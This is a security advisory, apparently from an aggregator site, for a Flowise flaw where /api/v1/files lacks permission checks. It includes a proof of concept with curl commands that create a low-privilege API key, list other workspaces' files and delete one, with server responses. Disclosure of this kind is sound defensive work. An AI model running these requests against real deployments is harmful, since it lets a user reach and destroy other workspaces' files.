npm · flowise
Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization
In Flowise, the /api/v1/files route is protected only by the feat:files feature gate and does not enforce checkPermission(...) on either GET or DELETE. As a result, any authenticated API key within the organization, even one with unrelated permissions, can list and delete files belonging to other workspaces in the same organization.
The /files route is mounted with IdentityManager.checkFeatureByPlan('feat:files') only and has no additional permission middleware. In the controller:
getAllFiles uses only req.user.activeOrganizationId and calls getFilesListFromStorage(activeOrganizationId), which recursively lists files under the organization storage rootdeleteFile reads activeWorkspaceId, but only uses it for storage quota bookkeeping; the actual deletion is performed using activeOrganizationId + user-controlled pathAs a result, the API key’s permissions and activeWorkspaceId are not used to restrict file access.
In the local test environment,an API key bound to workspace 1592b32a-a11b-4996-80b6-e1c4c2969d88 with only ["tools:view"] was created, then successfully:
GET /api/v1/files and received 200 OKf92a9a4d-392e-4db2-af82-d14e1d553446DELETE /api/v1/files?path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt and received 200 OKAny low-privileged API key holder within the same organization can list and delete files from other workspaces without any file-specific permission. This breaks workspace isolation inside the organization and can lead to unauthorized file access and destructive tampering.
curl -i -b tamako.cookie \
-H 'x-request-from: internal' \
-H 'Content-Type: application/json' \
-d '{"keyName":"poc-files-noperm","permissions":["tools:view"]}' \
http://localhost:8080/api/v1/apikey
ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0Ef92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txtcurl -i \
-H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E' \
http://localhost:8080/api/v1/files
200 OK response that includes a file from another workspace, for example:[{"name":"poc-cross-workspace.txt","path":"f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt","size":19}]
curl -i -X DELETE --get \
-H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E' \
--data-urlencode 'path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt' \
http://localhost:8080/api/v1/files
200 OK response:{"message":"file_deleted"}
GET /api/v1/files again and confirm that the file is no longer present.Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.